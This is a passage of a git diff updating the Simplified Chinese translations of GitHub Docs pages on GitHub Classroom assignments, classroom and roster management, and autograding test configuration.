-By default, a new assignment will create an empty repository for each student on the roster for the classroom. {% data reusables.classroom.you-can-choose-a-template-repository %}
+默认情况下，新作业将为教室名册上的每个学生创建一个空仓库。 {% data reusables.classroom.you-can-choose-a-template-repository %}
 
 {% data reusables.classroom.assignments-guide-choose-template-repository %}
 
 {% data reusables.classroom.assignments-guide-click-continue-after-starter-code-and-feedback %}
 
-### Choosing an integrated development environment (IDE)
+### 选择集成开发环境 (IDE)
 
-{% data reusables.classroom.about-online-ides %} For more information, see "[Integrate {% data variables.product.prodname_classroom %} with an IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide)."
+{% data reusables.classroom.about-online-ides %} 更多信息请参阅“[集成 {% data variables.product.prodname_classroom %} 与 IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide)”。
 
 {% data reusables.classroom.assignments-guide-choose-an-online-ide %}
 
-## Providing feedback for an assignment
+## 为作业提供反馈
 
-Optionally, you can automatically grade assignments and create a space for discussing each submission with the student.
+（可选）您可以自动对作业进行分级，并创建一个空间，用于与学生讨论每个提交。
 
-- [Testing assignments automatically](#testing-assignments-automatically)
-- [Creating a pull request for feedback](#creating-a-pull-request-for-feedback)
+- [自动测试作业](#testing-assignments-automatically)
+- [为反馈创建拉取请求](#creating-a-pull-request-for-feedback)
 
-### Testing assignments automatically
+### 自动测试作业
 
 {% data reusables.classroom.assignments-guide-using-autograding %}
 
-### Creating a pull request for feedback
+### 为反馈创建拉取请求
 
 {% data reusables.classroom.you-can-create-a-pull-request-for-feedback %}
 
@@ -96,25 +97,34 @@ Optionally, you can automatically grade assignments and create a space for discu
 
 {% data reusables.classroom.assignments-guide-click-create-assignment-button %}
 
-## Inviting students to an assignment
+## 邀请学生参加作业
 
 {% data reusables.classroom.assignments-guide-invite-students-to-assignment %}
 
-You can see whether a student has joined the classroom and accepted or submitted an assignment in the **All students** tab for the assignment. {% data reusables.classroom.assignments-to-prevent-submission %}
+You can see whether a student has joined the classroom and accepted or submitted an assignment in the **Classroom roster** tab for the assignment. You can also link students' {% data variables.product.prodname_dotcom %} aliases to their associated roster identifier and vice versa in this tab. {% data reusables.classroom.assignments-to-prevent-submission %}
 
 <div class="procedural-image-wrapper">
-  <img alt="Individual assignment" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignment-individual-hero.png">
+  <img alt="个人作业" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignment-individual-hero.png">
 </div>
 
-## Next steps
+## Monitoring students' progress
+The assignment overview page provides an overview of your assignment acceptances and student progress. You may have different summary information based on the configurations of your assignments.
 
-- Once you create the assignment, students can start work on the assignment using Git and {% data variables.product.product_name %}'s features. Students can clone the repository, push commits, manage branches, create and review pull requests, address merge conflicts, and discuss changes with issues. Both you and student can review the commit history for the repository. For more information, see "[Getting started with {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github)," "[Repositories](/repositories)," and "[Collaborating with issues and pull requests](/github/collaborating-with-issues-and-pull-requests)."
+- **Rostered students**: The number of students on the Classroom's roster.
+- **Added students**: The number of {% data variables.product.prodname_dotcom %} accounts that have accepted the assignment and are not associated with a roster identifier.
+-  **Accepted students**: The number of accounts have accepted this assignment.
+-  **Assignment submissions**: The number of students that have submitted the assignment. Submission is triggered at the assignment deadline.
+-  **Passing students**: The number of students currently passing the autograding tests for this assignment.
 
-- When a student finishes an assignment, you can review the files in the repository, or you can review the history and visualizations for the repository to better understand the student's work. For more information, see "[Visualizing repository data with graphs](/github/visualizing-repository-data-with-graphs)."
+## 后续步骤
 
-- You can provide feedback for an assignment by commenting on individual commits or lines in a pull request. For more information, see "[Commenting on a pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request)" and "[Opening an issue from code](/github/managing-your-work-on-github/opening-an-issue-from-code)." For more information about creating saved replies to provide feedback for common errors, see "[About saved replies](/github/writing-on-github/about-saved-replies)."
+- 在创建作业后，学生可以使用 Git 和 {% data variables.product.product_name %} 的功能开始处理作业。 学生可以克隆仓库、推送提交、管理分支、创建和审查拉取请求、解决合并冲突以及讨论议题的更改。 您和学生都可以审查仓库的提交历史记录。 更多信息请参阅“[开始使用 {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github)”、“[仓库](/repositories)”和“[协作处理议题和拉取请求](/github/collaborating-with-issues-and-pull-requests)”。
 
-## Further reading
+- 当学生完成作业时，您可以查看仓库中的文件，或者查看仓库的历史和可视化内容，以更好地了解学生的工作。 更多信息请参阅“[使用图表可视化仓库](/github/visualizing-repository-data-with-graphs)”。
 
-- "[Use {% data variables.product.prodname_dotcom %} in your classroom and research](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research)"
-- "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)"
+- 您可以通过在拉取请求中评论个别提交或行来提供作业反馈。 更多信息请参阅“[评论拉取请求](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request)”和“[从代码打开议题](/github/managing-your-work-on-github/opening-an-issue-from-code)”。 有关创建已保存回复以对常见错误提供反馈的信息，请参阅“[关于已保存回复](/github/writing-on-github/about-saved-replies)”。
+
+## 延伸阅读
+
+- "[在课堂和研究中使用 {% data variables.product.prodname_dotcom %}](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research)"
+- "[将学习管理系统连接到 {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)"
diff --git a/translations/zh-CN/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/manage-classrooms.md b/translations/zh-CN/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/manage-classrooms.md
index 9d01bfbd28..08fc8ac8fd 100644
--- a/translations/zh-CN/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/manage-classrooms.md
+++ b/translations/zh-CN/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/manage-classrooms.md
@@ -1,7 +1,7 @@
 ---
-title: Manage classrooms
-intro: 'You can create and manage a classroom for each course that you teach using {% data variables.product.prodname_classroom %}.'
-permissions: Organization owners who are admins for a classroom can manage the classroom for an organization. {% data reusables.classroom.classroom-admins-link %}
+title: 管理教室
+intro: '您可以为您使用 {% data variables.product.prodname_classroom %} 教授的每个课程创建和管理一个教室。'
+permissions: 'Organization owners who are admins for a classroom can manage the classroom for an organization. {% data reusables.classroom.classroom-admins-link %}'
 versions:
   fpt: '*'
 redirect_from:
@@ -9,116 +9,101 @@ redirect_from:
   - /education/manage-coursework-with-github-classroom/manage-classrooms
 ---
 
-## About classrooms
+## 关于教室
 
 {% data reusables.classroom.about-classrooms %}
 
-![Classroom](/assets/images/help/classroom/classroom-hero.png)
+![教室](/assets/images/help/classroom/classroom-hero.png)
 
-## About management of classrooms
+## 关于教室的管理
 
-{% data variables.product.prodname_classroom %} uses organization accounts on {% data variables.product.product_name %} to manage permissions, administration, and security for each classroom that you create. Each organization can have multiple classrooms.
+{% data variables.product.prodname_classroom %} 使用 {% data variables.product.product_name %} 上的组织帐户来管理您创建的每个教室的权限、管理和安全。 每个组织可以有多个教室。
 
-After you create a classroom, {% data variables.product.prodname_classroom %} will prompt you to invite teaching assistants (TAs) and admins to the classroom. Each classroom can have one or more admins. Admins can be teachers, TAs, or any other course administrator who you'd like to have control over your classrooms on {% data variables.product.prodname_classroom %}.
+创建教室后，{% data variables.product.prodname_classroom %} 将提示您邀请助教 (TA) 和管理员到教室。 每个教室可以有一个或多个管理员。 管理员可以是教师、TA 或您希望其控制您在 {% data variables.product.prodname_classroom %} 上的教室的任何其他课程管理员。
 
-Invite TAs and admins to your classroom by inviting the user accounts on {% data variables.product.product_name %} to your organization as organization owners and sharing the URL for your classroom. Organization owners can administer any classroom for the organization. For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)" and "[Inviting users to join your organization](/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization)."
+邀请 TA 和管理员进入您的教室，操作方法是以组织所有者身份邀请 {% data variables.product.product_name %} 上的用户帐户到您的组织，并共享您教室的 URL。 组织所有者可以管理组织的任何教室。 For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)" and "[Inviting users to join your organization](/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization)."
 
-When you're done using a classroom, you can archive the classroom and refer to the classroom, roster, and assignments later, or you can delete the classroom if you no longer need the classroom.
+使用完教室后，可以存档教室，以后可以参考该教室、名册和作业，或者如果您不再需要该教室，也可以将其删除。
 
-## About classroom rosters
+## 关于教室名册
 
-Each classroom has a roster. A roster is a list of identifiers for the students who participate in your course.
+每个教室都有一个名册。 名册是参加您的课程的学生的标识符列表。
 
-When you first share the URL for an assignment with a student, the student must sign into {% data variables.product.product_name %} with a user account to link the user account to an identifier for the classroom. After the student links a user account, you can see the associated user account in the roster. You can also see when the student accepts or submits an assignment.
+首次与学生共享作业 URL 时，学生必须使用其用户帐户登录 {% data variables.product.product_name %}，才能将用户帐户链接到教室的标识符。 学生链接用户帐户后，您可以在名册中看到关联的用户帐户。 您还可以查看学生何时接受或提交作业。
 
-![Classroom roster](/assets/images/help/classroom/roster-hero.png)
+![教室名册](/assets/images/help/classroom/roster-hero.png)
 
-## Prerequisites
+## 基本要求
 
-You must have an organization account on {% data variables.product.product_name %} to manage classrooms on {% data variables.product.prodname_classroom %}. For more information, see "[Types of {% data variables.product.company_short %} accounts](/github/getting-started-with-github/types-of-github-accounts#organization-accounts)" and "[Creating a new organization from scratch](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)."
+您必须在 {% data variables.product.product_name %} 上拥有组织帐户才能管理 {% data variables.product.prodname_classroom %} 上的教室。 更多信息请参阅“[{% data variables.product.company_short %} 帐户的类型](/github/getting-started-with-github/types-of-github-accounts#organization-accounts)”和“[从头开始创建新组织](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)”。
 
-You must authorize the OAuth app for {% data variables.product.prodname_classroom %} for your organization to manage classrooms for your organization account. For more information, see "[Authorizing OAuth Apps](/github/authenticating-to-github/authorizing-oauth-apps)."
+您必须为组织授权 {% data variables.product.prodname_classroom %} 的 OAuth 应用程序才可管理组织帐户的教室。 更多信息请参阅“[授权 OAuth 应用程序](/github/authenticating-to-github/authorizing-oauth-apps)”。
 
-## Creating a classroom
+## 创建教室
 
 {% data reusables.classroom.sign-into-github-classroom %}
-1. Click **New classroom**.
-  !["New classroom" button](/assets/images/help/classroom/click-new-classroom-button.png)
+1. 单击 **New classroom（新教室）**。 !["New classroom（新教室）"按钮](/assets/images/help/classroom/click-new-classroom-button.png)
 {% data reusables.classroom.guide-create-new-classroom %}
 
-After you create a classroom, you can begin creating assignments for students. For more information, see "[Use the Git and {% data variables.product.company_short %} starter assignment](/education/manage-coursework-with-github-classroom/use-the-git-and-github-starter-assignment)," "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)," or "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)."
+创建教室后，您便可开始为学生创建作业。 更多信息请参阅“[使用 Git 和 {% data variables.product.company_short %} 起始作业](/education/manage-coursework-with-github-classroom/use-the-git-and-github-starter-assignment)”、“[创建个别作业](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)”或“[创建小组作业](/education/manage-coursework-with-github-classroom/create-a-group-assignment)”。
 
-## Creating a roster for your classroom
+## 为教室创建名册
 
-You can create a roster of the students who participate in your course.
+您可以创建参加本课程的学生名册。
 
-If your course already has a roster, you can update the students on the roster or delete the roster. For more information, see "[Adding a student to the roster for your classroom](#adding-students-to-the-roster-for-your-classroom)" or "[Deleting a roster for a classroom](#deleting-a-roster-for-a-classroom)."
+如果您的课程已有名册，您可以更新名册上的学生或删除名册。 更多信息请参阅“[将学生添加到教室的名册](#adding-students-to-the-roster-for-your-classroom)”或“[删除教室的名册](#deleting-a-roster-for-a-classroom)”。
 
 {% data reusables.classroom.sign-into-github-classroom %}
 {% data reusables.classroom.click-classroom-in-list %}
 {% data reusables.classroom.click-students %}
-1. To connect {% data variables.product.prodname_classroom %} to your LMS and import a roster, click {% octicon "mortar-board" aria-label="The mortar board icon" %} **Import from a learning management system** and follow the instructions. For more information, see "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)."
-    !["Import from a learning management system" button](/assets/images/help/classroom/click-import-from-a-learning-management-system-button.png)
-1. Provide the student identifiers for your roster.
-     - To import a roster by uploading a file containing student identifiers, click **Upload a CSV or text file**.
-     - To create a roster manually, type your student identifiers.
-       ![Text field for typing student identifiers and "Upload a CSV or text file" button](/assets/images/help/classroom/type-or-upload-student-identifiers.png)
-1. Click **Create roster**.
-  !["Create roster" button](/assets/images/help/classroom/click-create-roster-button.png)
+1. 要将 {% data variables.product.prodname_classroom %} 连接到 LMS 并导入名册，请单击 {% octicon "mortar-board" aria-label="The mortar board icon" %} **从学习管理系统导入**并按照说明操作。 更多信息请参阅“[将学习管理系统连接到 {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)”。 !["Import from a learning management system（从学习管理系统导入）"按钮](/assets/images/help/classroom/click-import-from-a-learning-management-system-button.png)
+1. 为您的名册提供学生标识符。
+     - 要通过上传包含学生标识符的文件来导入名册，请单击 **Upload a CSV or text file（上传 CSV 或文本文件）**。
+     - 要手动创建名册，请键入学生标识符。 ![用于键入学生标识符的文本字段和"上传 CSV 或文本文件"按钮](/assets/images/help/classroom/type-or-upload-student-identifiers.png)
+1. 单击 **Create roster（创建名册）**。 !["创建名册" 按钮](/assets/images/help/classroom/click-create-roster-button.png)
 
-## Adding students to the roster for your classroom
+## 将学生添加到教室的名册
 
-Your classroom must have an existing roster to add students to the roster. For more information about creating a roster, see "[Creating a roster for your classroom](#creating-a-roster-for-your-classroom)."
+教室必须有一个现有的名册，才能将学生添加到名册中。 有关创建名册的更多信息，请参阅"[为教室创建名册](#creating-a-roster-for-your-classroom)。
 
 {% data reusables.classroom.sign-into-github-classroom %}
 {% data reusables.classroom.click-classroom-in-list %}
 {% data reusables.classroom.click-students %}
-1. To the right of "Classroom roster", click **Update students**.
-  !["Update students" button to the right of "Classroom roster" heading above list of students](/assets/images/help/classroom/click-update-students-button.png)
-1. Follow the instructions to add students to the roster.
-    - To import students from an LMS, click **Sync from a learning management system**. For more information about importing a roster from an LMS, see "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)."
-    - To manually add students, under "Manually add students", click **Upload a CSV or text file** or type the identifiers for the students, then click **Add roster entries**.
-      ![Modal for choosing method of adding students to classroom](/assets/images/help/classroom/classroom-add-students-to-your-roster.png)
+1. 在“Classroom roster（教室名册）”右侧，单击 **Update students（更新学生）**。 ![学生列表上方"教室名册"标题右侧的"更新学生"按钮](/assets/images/help/classroom/click-update-students-button.png)
+1. 按照说明将学生添加到名册中。
+    - 要从 LMS 导入学生，请点击 **Sync from a learning management system（从学习管理系统同步）**。 有关将从 LMS 导入名册的更多信息，请参阅“[将学习管理系统连接到 {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)”。
+    - 要手动添加学生，在“Manually add students（手动添加学生）”下，单击 **Upload a CSV or text file（上传 CSV 或文本文件）**或输入学生的标识符，然后单击 **Add roster entries（添加名册条目）**。 ![用于选择将学生添加到课堂的方法的模式](/assets/images/help/classroom/classroom-add-students-to-your-roster.png)
 
-## Renaming a classroom
+## 重命名教室
 
 {% data reusables.classroom.sign-into-github-classroom %}
 {% data reusables.classroom.click-classroom-in-list %}
 {% data reusables.classroom.click-settings %}
-1. Under "Classroom name", type a new name for the classroom.
-  ![Text field under "Classroom name" for typing classroom name](/assets/images/help/classroom/settings-type-classroom-name.png)
-1. Click **Rename classroom**.
-  !["Rename classroom" button](/assets/images/help/classroom/settings-click-rename-classroom-button.png)
+1. 在“Classroom name（教室名称）”下，为教室输入一个新的名称。 !["教室名称"下用于键入教室名称的文本字段](/assets/images/help/classroom/settings-type-classroom-name.png)
+1. 单击 **Rename classroom（重命名教室）**。 !["重命名教室"按钮](/assets/images/help/classroom/settings-click-rename-classroom-button.png)
 
-## Archiving or unarchiving a classroom
+## 存档或取消存档教室
 
-You can archive a classroom that you no longer use on {% data variables.product.prodname_classroom %}. When you archive a classroom, you can't create new assignments or edit existing assignments for the classroom. Students can't accept invitations to assignments in archived classrooms.
+您可以在 {% data variables.product.prodname_classroom %} 上存档不再使用的教室。 存档教室时，无法为教室创建新作业或编辑现有作业。 学生不能在存档的教室中接受分配作业的邀请。
 
 {% data reusables.classroom.sign-into-github-classroom %}
-1. To the right of a classroom's name, select the {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} drop-down menu, then click **Archive**.
-  ![Drop-down menu from horizontal kebab icon and "Archive" menu item](/assets/images/help/classroom/use-drop-down-then-click-archive.png)
-1. To unarchive a classroom, to the right of a classroom's name, select the {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} drop-down menu, then click **Unarchive**.
-  ![Drop-down menu from horizontal kebab icon and "Unarchive" menu item](/assets/images/help/classroom/use-drop-down-then-click-unarchive.png)
+1. 在教室名称的右侧，选择 {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} 下拉菜单，然后单击“**Archive（存档）**”。 ![水平烤肉串图标的下拉菜单和"存档"菜单项](/assets/images/help/classroom/use-drop-down-then-click-archive.png)
+1. 要取消存档教室，在教室名称的右侧，选择 {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} 下拉菜单，然后单击 **Unarchive（取消存档）**。 ![水平烤肉串图标的下拉菜单和"Unarchive（取消存档）"菜单项](/assets/images/help/classroom/use-drop-down-then-click-unarchive.png)
 
-## Deleting a roster for a classroom
+## 删除教室的名册
 
 {% data reusables.classroom.sign-into-github-classroom %}
 {% data reusables.classroom.click-classroom-in-list %}
 {% data reusables.classroom.click-students %}
-1. Under "Delete this roster", click **Delete roster**.
-  !["Delete roster" button under "Delete this roster" in "Students" tab for a classroom](/assets/images/help/classroom/students-click-delete-roster-button.png)
-1. Read the warnings, then click **Delete roster**.
-  !["Delete roster" button under "Delete this roster" in "Students" tab for a classroom](/assets/images/help/classroom/students-click-delete-roster-button-in-modal.png)
+1. 在“Delete this roster（删除此名册）”下，单击 **Delete roster（删除名册）**。 ![教室的"学生"选项卡中"删除此名册"下的"删除名册"按钮](/assets/images/help/classroom/students-click-delete-roster-button.png)
+1. 阅读警告，然后单击 **Delete roster（删除名册）**。 ![教室的"学生"选项卡中"删除此名册"下的"删除名册"按钮](/assets/images/help/classroom/students-click-delete-roster-button-in-modal.png)
 
-## Deleting a classroom
+## 删除教室
 
 {% data reusables.classroom.sign-into-github-classroom %}
 {% data reusables.classroom.click-classroom-in-list %}
 {% data reusables.classroom.click-settings %}
-1. To the right of "Delete this classroom", click **Delete classroom**.
-  !["Delete repository" button](/assets/images/help/classroom/click-delete-classroom-button.png)
-1. **Read the warnings**.
-1. To verify that you're deleting the correct classroom, type the name of the classroom you want to delete.
-  ![Modal for deleting a classroom with warnings and text field for classroom name](/assets/images/help/classroom/delete-classroom-modal-with-warning.png)
-1. Click **Delete classroom**.
-  !["Delete classroom" button](/assets/images/help/classroom/delete-classroom-click-delete-classroom-button.png)
+1. 在“Delete this classroom（删除此教室）”右侧，单击 **Delete classroom（删除教室）**。 !["删除仓库"按钮](/assets/images/help/classroom/click-delete-classroom-button.png)
+1. **阅读警告**。
+1. 要验证删除的是否为正确的教室，请键入要删除的教室的名称。 ![用于删除包含警告的教室的模式和教室名称的文本字段](/assets/images/help/classroom/delete-classroom-modal-with-warning.png)
+1. 单击 **Delete classroom（删除教室）**。 !["删除教室"按钮](/assets/images/help/classroom/delete-classroom-click-delete-classroom-button.png)
diff --git a/translations/zh-CN/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-autograding.md b/translations/zh-CN/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-autograding.md
index 31eee9a49a..b0fe377d16 100644
--- a/translations/zh-CN/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-autograding.md
+++ b/translations/zh-CN/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-autograding.md
@@ -1,101 +1,92 @@
 ---
-title: Use autograding
-intro: You can automatically provide feedback on code submissions from your students by configuring tests to run in the assignment repository.
+title: 使用自动分级
+intro: 您可以通过配置测试在作业仓库中运行，来自动提供对您学生提交的代码的反馈。
 miniTocMaxHeadingLevel: 3
 versions:
   fpt: '*'
-permissions: Organization owners who are admins for a classroom can set up and use autograding on assignments in a classroom. {% data reusables.classroom.classroom-admins-link %}
+permissions: 'Organization owners who are admins for a classroom can set up and use autograding on assignments in a classroom. {% data reusables.classroom.classroom-admins-link %}'
 redirect_from:
   - /education/manage-coursework-with-github-classroom/adding-tests-for-auto-grading
   - /education/manage-coursework-with-github-classroom/reviewing-auto-graded-work-teachers
   - /education/manage-coursework-with-github-classroom/use-autograding
 ---
-## About autograding
+
+## 关于自动分级
 
 {% data reusables.classroom.about-autograding %}
 
-After a student accepts an assignment, on every push to the assignment repository, {% data variables.product.prodname_actions %} runs the commands for your autograding test in a Linux environment containing the student's newest code. {% data variables.product.prodname_classroom %} creates the necessary workflows for {% data variables.product.prodname_actions %}. You don't need experience with {% data variables.product.prodname_actions %} to use autograding.
+学生接受作业后，每次推送到作业仓库时，{% data variables.product.prodname_actions %} 都会在包含学生最新代码的 Linux 环境中运行自动分级测试的命令。 {% data variables.product.prodname_classroom %} 为 {% data variables.product.prodname_actions %} 创建必要的工作流程。 您不需要使用 {% data variables.product.prodname_actions %} 的经验便可使用自动分级。
 
-You can use a testing framework, run a custom command, write input/output tests, or combine different testing methods. The Linux environment for autograding contains many popular software tools. For more information, see the details for the latest version of Ubuntu in "[Specifications for  {% data variables.product.company_short %}-hosted runners](/actions/reference/specifications-for-github-hosted-runners#supported-software)."
+您可以使用测试框架、运行自定义命令、编写输入/输出测试或组合不同的测试方法。 用于自动分级的 Linux 环境包含许多流行的软件工具。 更多信息请参阅 [{% data variables.product.company_short %} 托管的运行器的规格](/actions/reference/specifications-for-github-hosted-runners#supported-software)中最新版 Ubuntu 的详细信息。
 
-You can see an overview of which students are passing autograding tests by navigating to the assignment in {% data variables.product.prodname_classroom %}. A green checkmark means that all tests are passing for the student, and a red X means that some or all tests are failing for the student. If you award points for one or more tests, then a bubble shows the score for the tests out of the maximum possible score for the assignment.
+您可以通过导航 {% data variables.product.prodname_classroom %} 中的作业来查看哪些学生通过了自动分级测试的概况。 绿色复选标记表示学生的所有测试都已通过，红色 X 表示学生的部分或所有测试都未通过。 如果您为一个或多个测试评分，则气泡会显示测试的分数以及作业可得最高分数。
 
-![Overview for an assignment with autograding results](/assets/images/help/classroom/autograding-hero.png)
+![包含自动评分结果的作业概述](/assets/images/help/classroom/assignment-individual-hero.png)
 
-## Grading methods
+## 评分方法
 
-There are two grading methods: input/output tests and run command tests.
+有两种评分方法：输入/输出测试和运行命令测试。
 
-### Input/output test
+### 输入/输出测试
 
-An input/output test optionally runs a setup command, then provides standard input to a test command. {% data variables.product.prodname_classroom %} evaluates the test command's output against an expected result.
+输入/输出测试可以选择性运行设置命令，然后向测试命令提供标准输入。 {% data variables.product.prodname_classroom %} 根据预期结果评估测试命令的输出。
 
-| Setting | Description |
-| :- | :- |
-| **Test name** | The name of the test, to identify the test in logs |
-| **Setup command** | _Optional_. A command to run before tests, such as compilation or installation |
-| **Run command** | The command to run the test and generate standard output for evaluation |
-| **Inputs** | Standard input for run command |
-| **Expected output** | The output that you want to see as standard output from the run command |
-| **Comparison** | The type of comparison between the run command's output and the expected output<br/><br/><ul><li>**Included**: Passes when the expected output appears<br/>anywhere in the standard output from the run command</li><li>**Exact**: Passes when the expected output is completely identical<br/>to the standard output from the run command</li><li>**Regex**: Passes if the regular expression in expected<br/>output matches against the standard output from the run command</li></ul> |
-| **Timeout** | In minutes, how long a test should run before resulting in failure |
-| **Points** | _Optional_. The number of points the test is worth toward a total score |
+| 设置       | 描述                                                                 |
+|:-------- |:------------------------------------------------------------------ |
+| **测试名称** | 测试的名称，用于识别日志中的测试                                                   |
+| **设置命令** | _可选_。 在测试之前运行的命令，如编译或安装                                            |
+| **运行命令** | 运行测试并生成用于评估的标准输出的命令                                                |
+| **输入**   | 运行命令的标准输入                                                          |
+| **预期输出** | 您要视为运行命令的标准输出的输出                                                   |
+| **比较**   | 运行命令的输出和预期输出之间的比较类型<br/><br/><ul><li>**包括**：当预期输出在<br/>命令的标准输出的任意位置出现时传递</li><li>**精确**：当预期输出与运行命令的<br/>标准输出完全相同时传递</li><li>**Regex**：当预期输出中的正则表达式与<br/>运行命令的标准输出匹配时传递</li></ul> |
+| **超时**   | 测试在导致失败之前应运行多长时间（分钟）                                               |
+| **分数**   | _可选_。 测试从总分中获得的分数                                                  |
 
-### Run command test
+### 运行命令测试
 
-A run command test runs a setup command, then runs a test command. {% data variables.product.prodname_classroom %} checks the exit status of the test command. An exit code of `0` results in success, and any other exit code results in failure.
+运行命令测试运行设置命令，然后运行测试命令。 {% data variables.product.prodname_classroom %} 检查测试命令的退出状态。 `0` 的退出代码导致成功，任何其他退出代码导致失败。
 
-{% data variables.product.prodname_classroom %} provides presets for language-specific run command tests for a variety of programming languages. For example, the **Run node** test prefills the setup command with `npm install` and the test command with `npm test`.
+{% data variables.product.prodname_classroom %} 为各种编程语言提供语言特定的运行命令测试预设。 例如，**运行节点**测试使用 `npm install` 预填设置命令，使用 `npm test` 预填测试命令。
 
-| Setting | Description |
-| :- | :- |
-| **Test name** | The name of the test, to identify the test in logs |
-| **Setup command** | _Optional_. A command to run before tests, such as compilation or installation |
-| **Run command** | The command to run the test and generate an exit code for evaluation |
-| **Timeout** | In minutes, how long a test should run before resulting in failure |
-| **Points** | _Optional_. The number of points the test is worth toward a total score |
+| 设置       | 描述                      |
+|:-------- |:----------------------- |
+| **测试名称** | 测试的名称，用于识别日志中的测试        |
+| **设置命令** | _可选_。 在测试之前运行的命令，如编译或安装 |
+| **运行命令** | 运行测试并生成用于评估的退出代码的命令     |
+| **超时**   | 测试在导致失败之前应运行多长时间（分钟）    |
+| **分数**   | _可选_。 测试从总分中获得的分数       |
 
-## Configuring autograding tests for an assignment
+## 配置作业的自动评分测试
 
-You can add autograding tests during the creation of a new assignment. {% data reusables.classroom.for-more-information-about-assignment-creation %}
+您可以在创建新作业时添加自动评分测试。 {% data reusables.classroom.for-more-information-about-assignment-creation %}
 
-You can add, edit, or delete autograding tests for an existing assignment. If you change the autograding tests for an existing assignment, existing assignment repositories will not be affected. A student or team must accept the assignment and create a new assignment repository to use the new tests.
+您可以添加、编辑或删除现有作业的自动评分测试。 如果您更改现有作业的自动评分测试，现有作业仓库将不会受到影响。 学生或团队必须接受作业并创建一个新的作业仓库来使用新的测试。
 
 {% data reusables.classroom.sign-into-github-classroom %}
 {% data reusables.classroom.click-classroom-in-list %}
 {% data reusables.classroom.assignments-click-pencil %}
-1. In the left sidebar, click **Grading and feedback**.
-  !["Grading and feedback" to the left of assignment's basics](/assets/images/help/classroom/assignments-click-grading-and-feedback.png)
-1. Add, edit, or delete an autograding test.
-    - To add a test, under "Add autograding tests", select the **Add test** drop-down menu, then click the grading method you want to use.
-       ![Using the "Add test" drop-down menu to click a grading method](/assets/images/help/classroom/autograding-click-grading-method.png)
-       Configure the test, then click **Save test case**.
-       !["Save test case" button for an autograding test](/assets/images/help/classroom/assignments-click-save-test-case-button.png)
-    - To edit a test, to the right of the test name, click {% octicon "pencil" aria-label="The pencil icon" %}.
-        ![Pencil icon for editing an autograding test](/assets/images/help/classroom/autograding-click-pencil.png)
-       Configure the test, then click **Save test case**.
-       !["Save test case" button for an autograding test](/assets/images/help/classroom/assignments-click-save-test-case-button.png)
-    - To delete a test, to the right of the test name, click {% octicon "trash" aria-label="The trash icon" %}.
-        ![Trash icon for deleting an autograding test](/assets/images/help/classroom/autograding-click-trash.png)
-1. At the bottom of the page, click **Update assignment**.
-  !["Update assignment" button at the bottom of the page](/assets/images/help/classroom/assignments-click-update-assignment.png)
+1. 在左侧边栏中，单击 **Grading and feedback（评分并反馈）**。 ![作业基本知识左侧的"评分并反馈"](/assets/images/help/classroom/assignments-click-grading-and-feedback.png)
+1. 添加、编辑或删除自动评分测试。
+    - 要添加测试，在“Add autograding tests（添加自动评分测试）”下，选择 **Add test（添加测试）**下拉菜单，然后单击您想要使用的评分方法。 ![Using the "Add test" drop-down menu to click a grading method](/assets/images/help/classroom/autograding-click-grading-method.png) 配置测试，然后单击“**Save test case（保存测试用例）**”。 ![用于自动评分测试的"保存测试用例"按钮](/assets/images/help/classroom/assignments-click-save-test-case-button.png)
+    - 要编辑测试，请点击测试名称右侧的 {% octicon "pencil" aria-label="The pencil icon" %}。 ![Pencil icon for editing an autograding test](/assets/images/help/classroom/autograding-click-pencil.png) 配置测试，然后单击“**Save test case（保存测试用例）**”。 ![用于自动评分测试的"保存测试用例"按钮](/assets/images/help/classroom/assignments-click-save-test-case-button.png)
+    - 要删除测试，请点击测试名称右侧的 {% octicon "trash" aria-label="The trash icon" %}。  ![用于删除自动评分测试的垃圾桶图标](/assets/images/help/classroom/autograding-click-trash.png)
+1. 在页面底部，单击 **Update assignment（更新作业）**。 ![页面底部的"更新作业"按钮](/assets/images/help/classroom/assignments-click-update-assignment.png)
 
-## Viewing and downloading results from autograding tests
